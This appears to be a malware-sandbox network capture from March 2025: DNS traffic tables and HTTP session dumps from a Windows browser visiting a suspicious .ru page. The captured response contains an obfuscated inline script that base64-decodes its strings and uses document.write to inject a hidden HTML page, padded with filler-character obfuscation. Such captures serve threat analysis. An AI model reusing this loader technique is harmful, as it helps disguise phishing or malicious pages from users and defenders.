Mar 25, 2025 16:27:00.940808058 CET	53	52748	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:00.972493887 CET	53	56732	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:05.460983038 CET	65341	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:05.461193085 CET	55808	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:05.470077991 CET	58062	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:05.470402956 CET	63890	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:05.470812082 CET	51878	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:05.471118927 CET	58514	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:05.567047119 CET	53	55808	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:05.568885088 CET	53	65341	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:05.575786114 CET	53	63890	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:05.576497078 CET	53	58062	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:05.577342033 CET	53	51878	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:05.577538013 CET	53	58514	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:07.005033016 CET	64186	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:07.005425930 CET	59558	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:07.111605883 CET	53	64186	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:07.117604017 CET	53	59558	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:07.741221905 CET	60808	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:07.741277933 CET	57777	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:07.850137949 CET	53	57777	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:07.851289034 CET	53	60808	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:08.061911106 CET	64352	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:08.062062979 CET	57201	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:08.169886112 CET	53	64352	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:08.174128056 CET	53	57201	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:08.903625011 CET	63613	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:08.903804064 CET	55710	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:09.011360884 CET	53	63613	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:13.378856897 CET	53	61567	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:24.347918034 CET	55114	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:24.348211050 CET	56935	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:24.460330009 CET	53	55114	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:24.712174892 CET	53	56935	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:25.573822975 CET	50305	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:25.574035883 CET	55364	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:25.688183069 CET	53	50305	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:25.815289021 CET	53	55364	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:26.583324909 CET	55818	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:26.583630085 CET	52213	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:26.947177887 CET	53	55818	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:26.973253012 CET	53	52213	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:27.793440104 CET	54492	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:27.793649912 CET	59131	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:27.899049997 CET	53	59131	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:27.899708986 CET	53	54492	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:29.938750982 CET	57372	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:29.938961983 CET	50993	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:29.941998005 CET	58113	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:29.942154884 CET	51637	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:30.048774004 CET	53	58113	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:30.049635887 CET	53	50993	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:30.051364899 CET	53	51637	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:30.951392889 CET	61551	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:31.058617115 CET	53	61551	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:31.540579081 CET	52219	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:31.540644884 CET	57128	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:31.646404982 CET	53	52219	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:31.648565054 CET	53	57128	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:32.466275930 CET	53	52320	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:33.929191113 CET	53	51306	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:34.788284063 CET	65157	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:34.789913893 CET	59346	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:34.865041971 CET	51035	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:34.865428925 CET	51505	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:34.899008036 CET	53	65157	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:34.899710894 CET	53	59346	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:34.972268105 CET	53	51505	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:35.007478952 CET	53	51035	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:35.398009062 CET	51218	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:35.398242950 CET	56049	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:35.398750067 CET	60924	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:35.398880005 CET	59590	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:35.502866983 CET	53	56049	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:35.504718065 CET	53	51218	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:35.743041039 CET	53	60924	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:35.755486965 CET	53	59590	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:37.250031948 CET	51497	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:37.250473022 CET	56951	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:37.466783047 CET	53	56951	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:37.586270094 CET	53	51497	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:52.753345013 CET	138	138	192.168.2.6	192.168.2.255
Mar 25, 2025 16:27:54.785521984 CET	53	62626	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:55.105575085 CET	53	51451	1.1.1.1	192.168.2.6
Mar 25, 2025 16:28:25.448730946 CET	53	56841	1.1.1.1	192.168.2.6
Mar 25, 2025 16:28:27.796327114 CET	51008	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:28:27.796629906 CET	58295	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:28:27.901923895 CET	53	51008	1.1.1.1	192.168.2.6
Mar 25, 2025 16:28:27.903898954 CET	53	58295	1.1.1.1	192.168.2.6
Mar 25, 2025 16:29:09.610615969 CET	53	58989	1.1.1.1	192.168.2.6

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 25, 2025 16:27:24.712402105 CET	192.168.2.6	1.1.1.1	c27b	(Port unreachable)	Destination Unreachable
Mar 25, 2025 16:27:25.815431118 CET	192.168.2.6	1.1.1.1	c27b	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
2025-03-25 15:27:01 UTC	657	OUT	GET /BlKkhx/ HTTP/1.1 Host: ojjk.threaw.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 15:27:01 UTC	1216	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 15:27:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GV%2B8h90d25mk8T21AhGw3GO3F39p%2BLaw1iG1xF%2FSdEnjQR7KH1w%2BOmDpyR5OON%2Ftkk3b6cgT50O5mIhLqlQtwRi0me5%2BG%2FyhxYR3mc8%2BAiqrHtpwy0h79keLACve"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=41302&min_rtt=41203&rtt_var=15522&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1553&delivery_rate=70286&cwnd=252&unsent_bytes=0&cid=9a6f9f1797de0b20&ts=194&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InNPOGtPQUJSeTZQYnBxTFBpc21FNmc9PSIsInZhbHVlIjoiWW5oeEFlV3hZVHFLbnc1TEgrT3NDS0QxU05oS2ZoNUltQ1JYSTNqck9hejc5UHNIT0NteUYvMVZOMUFMK2R1RTBrUE5lT2dMNm1VR3JJZTk5dG1xZTFOcHlLUGdyb3JxOUxBcHZCK2F4M2xTeENZKzltcVBQT2RaV1dldXpjTWoiLCJtYWMiOiJlYjY2YTE4YzdiZTliZjRjNTM4ZTRiMWQ4MmU1Y2Q4NWVkY2Y1MjkyNzFmZTk0YmJmZGVmNGU2Y2I0MzNiNDBjIiwidGFnIjoiIn0%3D; expires=Tue, 25-Mar-2025 17:27:01 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-25 15:27:01 UTC	766	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 5a 6f 57 6b 46 4b 59 31 70 56 61 47 68 33 57 6b 6c 46 64 45 78 61 54 7a 4a 4a 61 6e 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 54 44 46 36 62 32 52 6d 53 6d 4e 53 61 6d 74 6c 56 44 5a 68 59 31 70 44 53 6b 51 31 5a 47 5a 50 55 46 70 54 55 6d 63 31 56 56 68 6c 64 6d 6f 77 63 31 63 7a 63 48 51 31 4c 30 4e 4f 65 6d 4a 34 56 6b 46 6d 57 45 4e 69 63 30 35 59 55 6b 4d 33 61 58 63 32 63 6d 6c 48 56 6d 68 74 65 44 55 35 56 55 4a 79 53 55 4a 61 53 6d 59 32 4f 47 6c 6b 56 55 39 6a 52 48 4e 6f 61 57 56 75 4e 6b 70 46 5a 55 35 55 56 46 45 32 54 58 4e 69 4e 47 35 43 63 48 6f 77 53 55 6c 58 62 46 64 74 64 54 42 77 52 6b 30 33 4f 54 5a 59 64 58 49 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlZoWkFKY1pVaGh3WklFdExaTzJJanc9PSIsInZhbHVlIjoiTDF6b2RmSmNSamtlVDZhY1pDSkQ1ZGZPUFpTUmc1VVhldmowc1czcHQ1L0NOemJ4VkFmWENic05YUkM3aXc2cmlHVmhteDU5VUJySUJaSmY2OGlkVU9jRHNoaWVuNkpFZU5UVFE2TXNiNG5CcHowSUlXbFdtdTBwRk03OTZYdXI
2025-03-25 15:27:01 UTC	1369	IN	Data Raw: 37 66 66 39 0d 0a 3c 73 63 72 69 70 74 3e 0a 52 66 6f 4d 47 4c 4e 57 73 65 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 54 59 6b 39 53 4c 6e 52 6f 63 6d 56 68 64 79 35 79 64 53 39 43 62 45 74 72 61 48 67 76 22 29 3b 0a 69 42 64 48 64 77 6f 41 64 73 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 64 77 7a 41 71 63 46 6d 66 75 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 52 66 6f 4d 47 4c 4e 57 73 65 20 3d 3d 20 69 42 64 48 64 77 6f 41 64 73 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 64 77 7a 41 71 63 46 6d 66 75 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 43 6a 78 6f 64 47 31 73 Data Ascii: 7ff9<script>RfoMGLNWse = atob("aHR0cHM6Ly9TYk9SLnRocmVhdy5ydS9CbEtraHgv");iBdHdwoAds = atob("bm9tYXRjaA==");dwzAqcFmfu = atob("d3JpdGU=");if(RfoMGLNWse == iBdHdwoAds){document[dwzAqcFmfu](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+CjxodG1s
2025-03-25 15:27:01 UTC	1369	IN	Data Raw: 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 Data Ascii: 6g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk7
2025-03-25 15:27:01 UTC	1369	IN	Data Raw: 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 Data Ascii: k776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk776g44Wk44
2025-03-25 15:27:01 UTC	1369	IN	Data Raw: 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 Data Ascii: 776g776g44Wk44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk776g776
2025-03-25 15:27:01 UTC	1369	IN	Data Raw: 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b Data Ascii: 4Wk776g776g776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g776g44Wk44Wk44Wk776g44Wk776g776g44Wk
2025-03-25 15:27:01 UTC	1369	IN	Data Raw: 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 Data Ascii: 6g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk44Wk7
2025-03-25 15:27:01 UTC	1369	IN	Data Raw: 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 Data Ascii: k776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk776g44Wk776g44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g776g44Wk44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk776g776g776g776g44
2025-03-25 15:27:01 UTC	1369	IN	Data Raw: 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 Data Ascii: 44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g44Wk776g44Wk44Wk776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776g776g44Wk776g776
2025-03-25 15:27:01 UTC	1369	IN	Data Raw: 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b Data Ascii: 76g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk

Timestamp	Bytes transferred	Direction	Data
2025-03-25 15:27:05 UTC	661	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://ojjk.threaw.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 15:27:05 UTC	565	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-Ranges: bytes Date: Tue, 25 Mar 2025 15:27:05 GMT Via: 1.1 varnish Age: 1585408 X-Served-By: cache-lga21991-LGA X-Cache: HIT X-Cache-Hits: 1012 X-Timer: S1742916426.907180,VS0,VE0 Vary: Accept-Encoding
2025-03-25 15:27:06 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
